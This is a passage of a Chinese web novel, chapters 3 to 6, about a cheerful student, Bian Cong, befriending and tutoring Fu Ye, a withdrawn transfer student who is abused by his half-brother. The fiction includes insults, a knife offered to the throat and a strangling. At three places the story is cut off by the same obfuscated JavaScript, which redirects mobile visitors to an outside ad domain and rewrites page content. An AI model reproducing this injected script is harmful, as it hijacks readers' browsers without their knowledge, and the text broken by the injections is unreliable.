“别叫别叫,我只拿了一个。”边淮说,“回学校去吧我们就不送了,哦对,来都来了,把垃圾带上。” 两分钟后,边淙站在了门口。 他的左手拿着舒芙蕾的大袋子,大袋子里是装着衣服的中袋子,中袋子里是装着姜茶和感冒灵的袋子,手指上还勾着两把伞。 右手是他哥送给他的见面礼,两袋垃圾。 有点破防。 回到教室的时候班上的同学们已经到了大半,除了零星几个在看书写题以外,其他的清一色趴桌上补觉。 他抬起眼望向了靠窗最后一排的位置上。 位置是空的,付野没有回来。 他很轻地皱了一下眉,而后把给同学们带的舒芙蕾放在各自的桌上后,拎着大袋小袋回到了自己的座位上。 半晌后,他起身走到了付野的座位旁。 付野推开教室门时,冰凉的冷气铺面,他很轻地打了个寒颤。 他浑身上下都被淋透了,湿哒哒的衣裤贴在身上,鞋子里也灌满了水,每往前走一步都会发出让人难堪的“噗嗤噗嗤”的响声,雨水从鞋带孔和鞋面争先恐后地钻出来,在地上落下一个个湿漉的脚印。 他敛着眸,尽量放轻着动作走到自己的位置旁,但那刺耳的难堪声音并不随着他放轻的动作而消散。 有趴在桌上睡着了的人皱着眉坐直,朝着他的位置望了一眼,又调了个方向趴了下去。 他很慢很慢地走到了自己的位置旁。 那把黑色的伞这会儿已经挂在了他的桌边。 付野坐了下来,身后的空调正对着他的后脑勺和透湿的背吹着冷气,潮湿黏腻的雨水贴在背上又被冰凉的风扑打着,很不舒服。 刚想趴在桌上时,他看见了贴在桌面一角上的一张黄色便利贴。 付野迟疑地将那张便利贴撕了下来。 [你的伞挂在你桌边了 纸袋里有可以换的衣服(虽然我不知道尺寸合不合适) 感冒灵的盒子里有一小袋姜茶可以先喝这个 舒芙蕾超好吃但千万别在上课的时候吃老师们的眼睛都很尖! 以及——我真的没想抢你的伞啊你不要害怕 我真的是好人T^T] 付野抬起头往前望了一眼,只看见了一个有一个后脑勺。 他将便利贴对折再对折,放进了抽屉里。 原本只有教材和试卷的抽屉这会儿已经被塞了个满满当当,一个叠成两叠的纸袋,一个感冒冲剂的盒子,还有一个……占了他小半个抽屉的蛋糕盒。 透明的盒子里是像鸡蛋糕一样的东西,大概就是便利贴上写的那个叫做舒芙蕾的东西吧。 这东西无论是卖相还是精致度都比鸡蛋糕要强很多,只是顶上洒下的一层白霜看起来不是那么的安全。 他对着这满满当当的抽屉静静地看了好长时间。 预备铃响起时,边淙感觉自己午休了个寂寞。 刚把脑袋栽到桌上还没三秒钟就被刺耳的叮铃铃声弄清醒了。 他紧紧地闭了一下眼,抬手搓了搓脸之后,回过了头。 付野很安静地坐在位置上,白色的T恤看上去还挺合身,只是头发还是湿的。 早知道就再带条毛巾来了,真是失策。 “诶边淙。”陶阳焱这会儿正像个黄鼠狼一样猫着腰捻起一块儿舒芙蕾往自己嘴里送,“你不是说你要吃五个吗,我怎么刚瞅着地上袋子里只有三个啊,你是猪吗一中午吃了俩?” 边淙收回视线,一脸无语地看向陶阳焱:“火火,你看看咱们俩到底谁更像猪。” “你。”陶阳焱大言不惭。 “……中午不是突降暴雨了吗?我回去了一趟,我哥哥抢了一个走。”边淙说。 “还有一个呢,被你吃了,快乐小猪。” “还有一个给别人了。”边淙拍了一把陶阳焱的脑袋压低声音道,“赶紧别吃了老师来了——” 这两节是班主任的课。 他走进来的时候不仅仅带了讲义,还带了一张A4纸和一卷透明胶带。 全班同学目睹着他在上课铃的响声中,扎着马步把那张A4纸贴上了黑板旁边的墙壁上。 并听见他的声音—— “这是摸底考的成绩单。” 考试出成绩了。 暑假过后的考试出成绩了。 这个成绩它能入眼吗?很明显不能。 赵勇德把胶带拍在讲台上的时候,望着底下坐着的这帮小崽子们,叹气叹得很大声。 这一节课,老师讲了二十分钟的课,训了二十分钟的人,还有五分钟全都用来喝水叹气了。 “你说咱们考得到底有多差啊?”下了课陶阳焱站起身伸了个懒腰,“你说高低是个重点班呢就算真的全都一个月都玩儿去了也不会考那么差吧?老班叹气叹得好像咱们全班都要上大专了。” 边淙“嘿嘿”傻笑了一声,没有说话。 “你笑什么啊读书读傻了?”陶阳焱无语了,“我去看一眼成绩,你去不?” “我——” 话音未落,围在成绩单周围的人里有人发出了惊天的声音。 “我!草!群众里面有叛徒啊有人暑假偷 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15207420|165800||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 偷学习!!!” 边淙坐在位置上,错开视线,抬手摸了一下鼻子。 “啊?”陶阳焱愣了一下,随即“咻”得一下冲到了讲台边,垫着脚站在人群后方探头探脑。 “你怎么数学考一百四十五啊边淙!!”有人转过身对着边淙喊了一声,“边淙!!” “物理九十七你真该死啊!边淙!” 兴许是动静实在太大,坐在最后一排对什么事情都不甚关心的付野抬起了眼望向了围在成绩单旁边的这么一大群人。 他看见坐在教室正中央的男生揉着脑袋站起身。 “小声点,别夸,别夸,应该的,基操。” “谁夸你了?”陶阳焱又“咻”得一下冲了回来,“说好摸底考一起大跳水,你一个人往上窜是吧?” “谁跟你说好啊?”边淙冲他挑了个眉好笑道,“暑假,弯道超车的好时机,你不知道这话?我只是恰好有这个能力做到了,仅此而已。” “哈哈,真的吗,边淙你英语六十二分。”唐筱晴从人群里钻出来,“好惊艳的成绩,我给你鼓个掌吧。” 边淙一秒垮下脸:“……我这不是学不会英语么。” 在满教室的笑声中,他听见了侧后方传来的一声很压抑的咳嗽声。 动作很轻,但他却听得很清楚。 边淙回过头时,正好与付野的视线交织。 他看见付野捂着唇咳嗽,视线却是落在他身上的。 下一秒却又低了下去。 “诶?”边淙愣了一下。 刚刚坐在位置上的时候往后看,有课桌挡着,他只看见了付野身上的衣领是白色的,这会儿站了起来才发现他身上的那件衣服是纯白的。 他没有纯白色的T恤,他自己的T恤都是同款一次买好几件不同色,塞进付野抽屉的那一件应该和自己身上这一件是一样的,胸口该有一个线条小狗。 他根本没有换上自己给他拿的那件干衣服,而是原本就穿在身上的那件透湿T恤在空调的作用下硬生生被吹干了。 后排空调LED屏上的数字为18度。 ……怪不得会咳嗽。 “诶。”边淙抬起手搓了搓胳膊,很轻地嘶了一声,对着人群喊了一声,“你们冷吗?” “还好,怎么了?” “有点冷。” “我不冷啊。” “我冷啊啊啊啊我穿的裙子啊上了一节课我的腿都冻红了!!” “我有点儿冷,我去把空调温度打高点行不行?”边淙问,“好几个女生穿裙子呢,别回头全冻着了。” “你调吧,不过别太高啊,太高了热。” “嗯行。”边淙点头。 他从抽屉里扯出了自己的那件白色外套搭在胳膊上,走到讲台的另一边把前排空调温度调高后,径直朝着后排的空调走了过去。 这会儿那些围在成绩单旁边的同学们又开始继续研究这份成绩单感叹着成绩,没有人的视线在边淙身上。 他摁着LED屏把温度调成25度后,抬手将空调扇叶往上拨了拨。 低下眼,直到坐在空调正前方的付野头发不再被空调风吹动才停手。 转过身,他将搭在胳膊上的外套抖开,柠檬味洗衣液的味道随着他的动作迸开。 而后,衣服被搭在了付野的椅背上。 “穿着吧,坐这冷。”边淙的声音很小。 付野仰起头看向他。 被雨淋湿又被空调吹干的头发看起来没有那么柔顺,额间细碎的发丝有些长,但却遮不住他那一双漂亮的眼睛。 边淙冲他笑了笑,转过身准备回到自己的位置上。 下一秒,他感觉到自己的衣摆被人很轻地扯了一下。 边淙回过头,他看见付野很快缩回去的手。 “怎么了?”边淙问。 付野低着眼,紧抿着的唇崩成一条线。 他习惯了面对恶意,却完全不知道该如何面对善意。 他上一次面对这么纯粹的善意都不知道要追溯到多久以前了。 “这个时候说声谢谢就好啦。” 边淙想起许诚询说的那句“他可能只是不会处理人际关系”。 “……谢、谢谢。” 边淙挑起眉呲着牙笑得很阳光。 “不客气!” 暴雨初霁,一丝阳光冲破云层,在课桌上洒下细碎的光。 4. 第 4 章 今天的天气也不知道到底着了什么道儿。 上午艳阳高照,中午突降暴雨,下午好不容易停了雨出了太阳,晚上又刮起了大风。 边淙一手放在抽屉里,偷偷摸摸掰下舒芙蕾送进嘴里,另一只手拿着笔状似无事发生一般地写着题,这个晚自习给他上成了美食品鉴大会。 窗外树叶沙沙声不绝入耳,比喧嚣的风声更清晰入耳的是侧后方传来的藏匿不住的咳嗽声。 是付野在咳嗽吗? 他不会是发烧了吧? 他要是发烧了那自己岂不是天大的罪过? 边淙悄悄回了个头,越过一个又一个熟悉的面庞,他的视线定格在了还稍有些陌生的新同学身上。 付野披着自己的那一件白色外套,坐得没有很直,手中拿着笔垂着眼很认真地写着作业,看上去并没有什么异样。 “边淙,数学作业给我对一下。”前桌回过头很轻地敲了一下边淙的桌角,低声道。 边淙应了声好,收回视线看向前桌凑过来的脑袋,翻出了自己写完了的数学作业递给他。 前桌拿了作业转过身对了一遍答案后,拿着两本摊开的习题趴在了边淙的桌上:“这题给我讲讲呗?” 边淙侧过脑袋看了一眼,拿了张草稿纸出来。 他们班的晚自习是不介意同学之间相互讨论题目的,只要动静不是太大影响不到其他的人就行。 边淙小声地给前桌讲完数学题,看着他恍然大悟的表情,得意地挑了挑眉。 数学小天才边淙! 送走了问题目的前桌,数学小天才边淙低下了头,苦着张脸和英语完形填空作斗争。 “五、四、三、二、一——” 陶阳焱盯着时钟倒数,倒数结束过了两秒后,下课铃响了起来。 “破钟比之前又慢了两秒。”陶阳焱伸了个懒腰,拎起早在五分钟前就已经收拾好了的书包背起来,“走了边淙,回家了。” 陶阳焱催边淙收拾东西像是催命,他是真的很想第一时间就回到家里。 边淙囫囵收拾了书包,和等在周边的几个人一块儿去往了自行车棚。 站在自己的自行车前,边淙掏了一下自己的口袋。 我、钥、匙、呢? 他一脸迷茫地扯下了背上的书包,拉开拉链开始翻找。 “叮铃铃” “叮铃铃” 骑在车上等在他周边的同学们不约而同地摁响了铃铛,几个人一块儿摁铃发出的动静吵得人头疼。 “咋了,你落东西在教室了?”陈阳骑着车“哧溜”一下横在了边淙面前。 “嗯,车钥匙不见了。”边淙摊了一下手,“你们先走吧我回教室找找。” “啊?那我们在这等你呗?”陶阳焱说。 “没事不用,我这一来一回你们都到家了。”边淙将书包重新背在了身上,“你们先走。” “那行,那我们走了啊,拜拜!” “不过——” 边淙话还没说完,一伙人叮叮当当地骑着车冲出了校门。 扬起的灰尘差点儿扑到他的嘴里。 边淙抽了抽嘴角,咽下了没说完的那半句“如果有人能骑车送我去一趟教学楼就再好不过了。” 这帮人,放学放得真的火急火燎的。 他有些无语地转过身,踩着落叶逆着人群往教学楼的方向走去。 教学楼一个又一个小方格有的还亮着灯,有的已经暗了下去。 边淙迈着长腿三阶一跨,很快走到了自己班门口。 咳嗽声透过虚掩着的房门传至走廊,传到边淙的耳中。 他歪了一下头,抬手推了一把教室门。 他看见付野蹲在他的桌边,脸朝着过道的方向剧烈地咳嗽。 “诶?”边淙愣了一下,下意识抬眼环视了一圈。 教室里这会儿除了付野以外,别无他人。 边淙走到他的身边,蹲下身看着他:“你还好吗?” 兴许是没有想到已经这个点了还会有人突然回到教室,付野被他吓得往后撤了一步,险些摔坐在地上。 好在边淙抬手拉了他一把,才让他稳住了身形。 “我放在你抽屉的姜茶和感冒灵你喝了吗?”边淙说,“你看起来脸色有点差,别着凉了啊。” “……没有。”付野咳嗽咳得脸有些红,声音也比起中午那会儿沙哑了很多。 “诶?淋了雨进空调房超级容易感冒的,要好好预防啊。”边淙顿了一下,随即从自己的抽屉里抽出来了一个印着线条小狗的杯子,他自顾自地把自己也并没有喝的那一份姜茶翻出来,撕开了一个小口倒进杯子里,“你是不是没带杯子来学校?” 边淙端着杯子站起身,走到饮水机旁接了热水,很浓的生姜味迸发开来。 接了小半杯热水,他走回到自己的座位旁,重新蹲下身望向抽屉。 “你还把我的衣服叠好了啊?”边淙看着出现在抽屉里的叠得整整齐齐的那件外套,勾起唇角笑了一声,“谢啦。” 不是什么值得谢谢的事情。 付野却一句话都说不出口。 “找到了——”边淙从犄角旮旯翻出来了一根儿白色的吸管,扯掉透明的塑料膜后,他拿着吸管在杯子里搅了搅,将水杯递给了付野,“喏。” 付野平视着他,睫毛很轻地颤了一下,却迟迟没有伸手去接。 “嘶快接一下有点儿烫!”边淙十分夸张地喊了一声。 付野没做他想,下意识地从边淙的手中接过了杯子。 温热的触感一半来自温热的陶瓷杯,另一半来自边淙的手掌。 “骗你的,不烫,我兑了冷水。”边淙笑笑,“喝点儿吧,虽然有点迟了但应该还有点效用,喝了晚上好睡觉。” 半晌后,边淙听见了付野的第二声“谢谢”。 付野端着水杯,含着吸管小口小口抿着姜茶。 姜茶很甜,带着很淡的辛辣味,很好喝。 水温也正正好,是合适入口的热度,不烫也不凉。 他悄悄抬起眼,注视着蹲在眼前的这个人。 很优越的骨相,眉眼深邃,鼻梁挺翘,时常弯着的唇角给了人一种很无害且好脾气的感觉。 而这个人这会儿正把自己的抽屉翻得乱七八糟。 “你在——” “付野,你刚刚把衣服放进我抽屉的时候有看见一把钥匙吗?”边淙比他更快地开了口。 此时,他的唇角已经耷拉了下来。 付野轻轻摇了摇头:“没有。” “完了啊我不会回不了家吧?”他听见边淙的嘟囔,“不会落我哥家里了吧,不要啊——” 付野敛下眸,视线在地面上一寸一寸扫过。 教室里地板纹路是花色的,盯着看久了有些眼花。 但他还是很仔细地盯着看。 直到他在被桌腿挡着的正下方看到了一个小小的,印着金发双马尾角色的亚克力钥匙扣。 付野将杯子换了个手拿着,纤瘦白皙的手指一点一点往桌腿下挪动。 “是这个吗?”付野将钥匙捧在掌心,对着边淙忙忙碌碌的背影喊了一声。 边淙停下手上的动作回过头,眼睛一亮。 “是!!”他笑了起来,“你在哪儿找到的啊?” 付野轻声道:“地上。” “感谢有你!”边淙松了一口气,站起身将钥匙揣进口袋里,他看向付野手中已经空了的杯子,朝他伸出了手,“杯子给我吧。” 付野“嗯”了一声,将水杯递还给了他。 边淙接过杯子走到讲台前,接了热水冲了两遍水杯后,将杯子放回了自己的抽屉里。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15207421|165800||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 而后,他看向付野,挑起一个笑容:“好晚了,一起回家吧?” 付野不知道自己为什么会点了头。 大概是这个人说出来的话实在是让人无法拒绝吧。 边淙拍了一下他的肩膀,和他一块儿走到门口,关了灯和门后,唠着嗑下了楼。 说唠嗑其实不太对,整个过程中基本上都是边淙在说,付野在听,偶尔给出一两句回应。 直到边淙自然而然地将他带进了车棚。 “我不骑车的。”付野攥着书包背带轻声道。 “我知道啊,你刚刚说了。”边淙点着头将书包从身后甩下来,反过身背在胸前,“但今天你帮我找钥匙浪费了你这么长时间,再让你自己走回去有点太不是人了,所以我送你,上车。” “不……” “我们俩顺路,我家也往那个方向。”边淙用话堵住了他的拒绝。 “……谢谢。” 边淙其实很少骑车带人,身边的同学们住得近都走路,住得远的都有自己的车,没有这个条件也没有这个机会。 但其实他还挺向往这种骑车带人在街上迎着风的感觉,漫画场景似的。 付野坐在他的车后座上,两只手紧紧攥着车后座的边沿,抬起眼望着边淙的后脑勺。 “我今天放你抽屉的那个舒芙蕾你吃了吗?”边淙像背后长了眼睛似的,在付野看向他的时候开口问道。 “还没有。”原来那个东西不叫鸡蛋糕,叫舒芙蕾。 “你不喜欢吃甜的吗?”边淙又问。 “没有不喜欢。” “那你可以明早尝尝,真的超好吃,我今天吃了好几个,等会回家都不用吃宵夜了。”边淙说,“好吃到恨不得安利全世界。” “……好的。” 约莫过了七八分钟,自行车停在了一个老旧的小区门口,边淙从车上蹦下来看向他:“到了,赶紧上楼睡觉吧,真的挺晚的了。” 付野松开手,很慢地从后座上下来,刚想开口再道一声谢时,他的余光看见了倚在昏黑楼栋里的人的身影。 “你快回去吧。”付野低声说,“麻烦你了。” “不麻烦。”边淙笑笑,“哦对了聊了一路了好像一直没告诉你,我叫——” “我知道!” 边淙第一次听付野用这么大的声音说话,愣了一下。 “我知道你是谁。”付野微蹙着眉,“快回去。” 边淙愣愣地“喔”了一声,他抬手看了一眼手表。 是该快点儿回去了,再不回去的话他妈妈该以为他出什么事儿了。 “那我走了啊,明天见。”边淙朝他挥了挥手。 “明天见。” 直到边淙骑车离开的背影消失在眼前,付野这才迈腿走进了楼栋里,站在了眼前这个和他流着一半相同血液的哥哥面前。 “了不起啊小野种,这才几天就勾搭到男人了?你跟你妈真是如出一辙的贱,她早死,死之前把你送我爸面前来膈应我和我妈,我请问你什么时候死啊?” 付野神色平静地听着这番满是侮辱的话。 而后,他背过手,不紧不慢地从书包侧边拿出了一张纸片样式的东西。 低着眼,修长的指尖灵活地将纸片掰开,扣上,变成一把刀。 “你——” 他抬起手将这把刀递给了自己的哥哥,微微仰了仰脖子,将人类最为脆弱的地方展现在了他的面前。 “现在就可以。”付野的声音很淡。 对方的手握上自己脖颈的一瞬间,那柄折叠小刀掉落在了他的脚边。 喘不上气,睫毛颤个不停的那一刻,付野在想,不该抱着侥幸的心理同意边淙送自己回家的。 如果自己在这个时间节点出事的话他肯定会自责的。 他不想要边淙自责。 5. 第 5 章(修) “报——” 大课间休息的时间里,刚被老师叫去一对一谈话的同学像卖报小童一样挥着手冲进了班里。 他这一嗓子喊醒了好几个趴在课桌上闭目养神的人,一个两个全都皱着眉抬起眼看向他。 颇有一种他不说出点所以然的话立马就要组团毙了他的意思。 “咱们下周一开始统一全部要穿校服戴校牌上课了。”卖报小童咳了两声说,“我刚刚上楼的时候听到教导主任和老班说的,咱们的穿衣自由已经没有了。” “啊??”有人发出哀嚎,“凭什么啊??以前高三暑假补课不是都不用穿校服的吗?” “就是啊,怎么到我们这一届暑假也得穿校服了啊,这不公平!!” “还我穿衣自由——” “所以你有没有听到是为什么啊?”有人问。 “悄悄听到了个大概,就前两天……”他看了一眼坐在教室角落里的付野,压低了声音小声道,“那个宣传栏的事儿,还有突然有人在咱们班门口大喊大叫那事儿,好像都是校外的人混进来干的,现在学校强制穿校服就是为了杜绝外人进校门。” “……无妄之灾,校服穿着又丑又招虫子又不透气,大夏天的真烦死了。” “可恶啊恨在心底蔓延!!” “哎忍忍吧,也就一个礼拜了,一个礼拜后正式开学本来也要穿的。” “真的麻烦。” 众人你一言我一语,声音虽然都在刻意压低,但教室也就这么点儿大,议论的声音自然而然躲不过付野的耳朵。 他微微低下了头,下巴磕到了拉到顶的外套拉链。 付野敛着眸,紧紧盯着摊开的习题集看,握在手中的笔却迟迟没有落下。 “付野——”门口突然有人喊了一声,“老班喊你去一趟办公室!” 付野很低地“嗯”了一声,放下笔站起身,走出了教室门。 走廊的温度和教室里的温度根本不是一个量级,扑面的热风钻进每一寸毛孔,只是下个楼的工夫,他的额间就泌了一层细汗。 推开办公室的大门,他最先感受到的却不是凉丝丝的冷气。 而是站在老师办公桌前的边淙的声音。 “不是,我真没有不尊重您我也没有排斥英语,我是真的学不会。”边淙苦着一张脸站在英语老师面前,委屈巴巴地开口。 付野抬起眼看了一眼边淙,他的表情和他衣服侧腰上趴着的那条小狗看起来一样委屈。 “付野。”赵勇德喊了他一声。 付野收回视线,低着眼注视着赵勇德身上的纽扣,很轻地应了一声。 赵勇德和他说的东西左不过就是校服这件事儿。 他作为新转学过来的学生,定的校服要和九月份入学的高一生一起送过来,所以即使学校下了新规说剩下的一周补课时间学生都要穿校服,他也可以是那个例外,教师会和门卫那边说明情况。 “当然,如果你能有这两天熟悉起来的同学,能借到校服那是更好不过。”赵勇德说,“毕竟下这个新规也是为了校园里不会进校外人士做一些出格的事情,没有例外当然是最好不过的。” 付野敛着眼。 学校下这个规定是因为他那个所谓的哥哥找人来学校不让他好过,那些不想穿校服补课的学生不过是被他拖累。 至于相熟的同学—— “我没有——” “我真没有!苍天可鉴啊老师!抛开学科不谈我是很喜欢您的,但是人类的学习能力它确实是不可控的对不对?不能说我能学会数学学不会英语就说我敷衍英语的啊!我这个脑子它碰到英语就是笨笨的啊!” 边淙的声音盖住了付野的声音。 同一个办公室内,其他几位任课老师听着边淙亲口承认自己笨笨的,都没忍住笑出了声。 “我也不指望你考很高分,边淙,但你起码考个及格给我看看,算老师求你了,你其他几门课的分数都不低,尤其数学,你考得很好,不能让英语脱了你的后腿让你与喜欢的大学失之交臂,是不是?”英语老师捧着保温杯恨铁不成钢地看着他,“你身边的同学很很多英语成绩不错的,你多向他们请教请教呢?我看唐筱晴,黎夏漾她们几个跟你关系就很不错,你们同学之间互帮互助一下呢?” 他是真的没有敷衍过英语,高二那年唐筱晴也十分友好地牺牲自己的午休教过自己一段时间。 但——真的没有用。 他都快把唐筱晴折磨崩溃了也学不会。 学不会就是学不会,怎么学都学不会。 边淙嘴角抽了抽:“去年的时候,唐筱晴教我英语教到破口大骂,我都差点因为她对英语有心理阴影了。” “老师希望你不要被外在因素所影响,能在我们学校安安稳稳地度过高三这一年,考个好的大学,你之前的成绩我们也都有所了解,成绩是很不错的,理综虽然稍微薄弱了些,但语文和英语很好,努努力把成绩提上来,不要荒废了。”赵勇德抬起手拍了拍付野的肩膀。 “哎,可是我的努力就像小狗屁。”边淙的声音又一次响起。 两位老师面对着两位学生,谈话明明是一对一,却好像整得俩人都在和边淙说话一样。 大半天了赵勇德没从付野口中听到几个字儿,净听着边淙一个人对着英语老师哔哔叭叭哔哔叭叭了。 他忍无可忍地回过头看向边淙,刚想让他话别这么密时,英语老师抬起头和他对视了一眼。 已知,边淙数学理综成绩好,英语稀巴烂。 已知,付野语文英语成绩好,理综相对比较薄弱。 已知,付野是个肉眼可见心思敏感,很难融入集体的转校生。 已知,边淙心思单纯,又是他们班上出了名的好人缘,性格好脾气好,跟谁都能处成朋友。 两位老师对视一眼,暗暗点了个头。 没有任何征兆的预备铃响起,赵勇德皱起眉抬头看了一眼吵得人心烦的音源处,也没有再循循善诱,他看着眼前的两个学生,言简意赅地开口。 “你们两个各个方面完全互补,或许可以试一试——” “诶?”边淙愣了一下,瞬间反应过来了赵勇德的意思,“好像可以!” 付野话很少,看起来又柔柔弱弱的,小白花儿似的,这样的人不但容易激起人类的保护欲,还会给人留下一种性子很好的印象。 最最起码……付野应该不会像唐筱晴一样气急眼了把自己骂个狗血淋头吧? “你觉得怎么样,付——”边淙偏过头看向付野,墨黑的发丝在空气中扫过,飘起一阵很好闻的味道。 “抱歉。”付野低下头。 预备铃的声音戛然而止,边淙“诶?”了一声,站在原地。 他被拒绝了。 他被拒绝得无比干脆。 赵勇德抬起头看了一眼付野,无声地叹了口气:“这样,你先回班上吧?” 付野点了个头,推门走出办公室,掩上门时,透过门缝看了一眼在办公室里站得笔直的边淙。 收回视线,他转过了身,踩上台阶,默默地回了教室里。 “诶??”依旧站在办公室里的边淙还没有完全反应过来,他看向赵勇德,“诶????” “你别‘诶’了。”赵勇德没好气地拍了一下他的肩膀,“他……你也别太在意吧。好好把你那个让人看了就血压高的英语成绩提上来。” 边淙张着嘴干巴巴地“喔”了一声。 中午放学,边淙挥别了喊他一块儿吃午饭的朋友们,留在了教室里。 直到嘈杂的声音逐渐消散,教室里只剩下了坐在位置上的他和一步也没有挪动的付野。 是时候出击了—— 边淙侧过头,往后望了一眼。 而后起身,走到了付野的桌边,撑着他的桌子弯下了腰,直白道:“付野,为什么啊?” 灼热的呼吸喷洒在他的颈间,付野下意识抬起手很轻地捂了一下自己的衣领。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15207422|165800||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >“什么?” “刚刚课间的时候英语老师说我的话你也听见了,我实话跟你说了吧这不是第一次了英语老师真的每一次喊我去办公室都会让我愧疚我甚至感觉这是她的战术……她现在甚至都已经开始问我是不是讨厌她所以才不好好学英语了可我不是啊我是真的学不会啊。”边淙的语速很快,一串话突突突地往外冒,“老班刚刚说咱俩互补,你教我英语我教你理综,你为什么拒绝啊?” 边淙说完,歪着脑袋眨巴着眼看他。 “我……”付野下意识往后靠了一下。 外套拉链在空中晃了晃,很轻地敲在了他的下巴上。 他不知道面对着这样一双晶亮的眼睛该如何给出回复。 “我只是在语言学科上没有天赋而已,我不是真的弱智啊——”边淙耷拉着眉眼开口,“而且咱们俩也算认识了,我自认为我性格不错,我觉得你也很好,这种互补双赢的事情咱们俩先试试嘛,万一就产生质的变化,咱俩携手登顶了呢?” 付野看着边淙撑在自己桌子上的那双手。 他的手很白,手指很长,指节匀称,支撑着整只手的指腹微微泛着白。 篆刻着清晰脉络的手背像山峦,凸起的青筋向着手指蔓延,像河流。 他收回视线,很轻地吞咽了一下。 “我……不会教人。” “没试过怎么知道?唐筱晴当初还信誓旦旦说把我英语拉扯及格轻而易举呢结果几天下来把我骂得狗血淋头。”有松动的迹象,边淙乘胜追击,“你只要不急眼了骂我就行。” 付野没有说话。 静默中,边淙看见他抿了一下唇。 “我知道我很难教我有自知之明,我不白学,我把我多余的校服借你。”边淙急忙说,“我真的不想在被英语老师揪过去问我是不是对她有意见了……” “哦对刚好我们俩家在一条路上,我还能每天顺路送你回——” “这个不行!”付野急促地开口。 “啊?为什么?”边淙愣愣地眨了一下眼。 “我……走路锻炼身体。” “这样啊。”边淙恍然大悟,并顺坡下驴,“这个不行的话,之前的就是答应了的意思对不对?太感恩了从今天开始你就是我的救命恩人!” 付野望着他亮晶晶的那双眼睛,搭在大腿上的手指一下一下抠着裤腿。 他想说不,想说你应该离我远点,想说跟我走太近会惹祸端。 但面对着这样的一双眼睛,他什么拒绝的话都说不出口。 也许也不是因为这样的一双眼睛,也许只是他单纯不想推开眼前的这个人。 “那就这么说定了,我想想时间啊——”边淙自顾自地开口,“明天正好周日,找个图书馆或者自习室,或者直接来我家得了?我还能把校服给你,后天正好能穿,不过那些衣服都是我穿过的,你不会嫌弃吧?” 付野还没来得及说话,下一秒,边淙的肚子发出了咕噜咕噜的声音。 “饿了。”他低下头揉了一下肚子,而后看向付野弯起唇角,十分自然道,“一起去吃饭吧?” 付野没有起身,他抬起眼平视着边淙,第一次喊出了他的名字。 他的声音很轻,轻到恍似一阵风就能够吹散。 “怎么了?”边淙站在阳光下,直视着他的眼睛。 浅浅的琥珀色瞳仁漂亮得不可方物。 “你不介意吗?”付野说了句没头没尾的话。 “介意什……”边淙愣了一下,但很快就反应了过来。 付野口中的介意,无非是这段时间闹得满城风雨的那些事儿。 他弯着眼睛轻轻笑着,同样回了一句无厘头的话,“你看漫画吗?” 付野完全没想到自己会得到这样的回答,好一会儿后他才反应过来,摇了摇头说没看过。 “我喜欢看漫画。”边淙挑了一下眉,凑近了他神神秘秘地开口,“你要知道,你如果出现在漫画里,一定是主角。” 6. 第 6 章 边淙顶着大太阳骑着自行车到约定的图书馆前时,付野戴着耳机安安静静地站在透明的玻璃门前。 他穿着和昨天一样的外套,拉链拉到了最顶端,看上去……好热。 他挑了个眉,将自行车停在树荫下后,背着书包蹬上台阶冲到了付野的身前,浓郁的桃子香气弥散,钻进付野的鼻腔。 “早上好!”边淙弯着眼睛冲他挥了挥手,“穿这么严实你不热吗?” 付野这会儿正低着头认认真真地将耳机线缠在手机上,听到边淙的提问时,很轻地摇了一下头。 “我都快热死了这个太阳感觉能致人于死地。”边淙回过身眯着眼望了一眼天空,“咱们先进去吧,外面好热——” 半分钟后,边淙对着死活都没反应的自动门,露出了疑惑的表情。 “不是吧自动门也能坏掉的啊?”边淙不信邪地退后靠近,靠近退后,但这个门他就是纹丝不动,一点儿要打开的迹象都没有。 虽然有屋檐的遮挡晒不到太阳,但八月的天气光是站在室外就已经需要很大的勇气了。 热风一浪更盛一浪,边淙十分粗糙地低下头用T恤的衣摆抹了一把汗。 这图书馆什么意思啊? 就这么打压高三学子的学习热情吗? 边淙不信邪地再一次凑到了玻璃门的面前。 这一次他凑得更近了,鼻尖几乎贴上了玻璃门。 但这个门依旧纹丝不动,安如泰山。 怎么个事儿呢? 边淙满脑子的问号。 突然间,一张脸悠悠地出现在玻璃门的另一边,透过厚实的玻璃,和边淙对视:“孩子啊。” “啊啊啊啊啊啊!!!”边淙被这苍老的声音和突然出现的人脸吓得整个人直接弹了起来。 下一秒,弹起来的边淙扑腾着手握住了付野的手腕,一个闪身,整个人紧紧地贴在了付野的胳膊上,且两只手牢牢抱住了付野的胳膊。 谁能懂啊,他在八月份的早上十点,背后硬生生泌出了一层冷汗。 “没、没人跟我说这个图书馆闹鬼啊……”边淙后怕地回过头看着疾行的车流与来来往往的行人,稍微安心了一些。 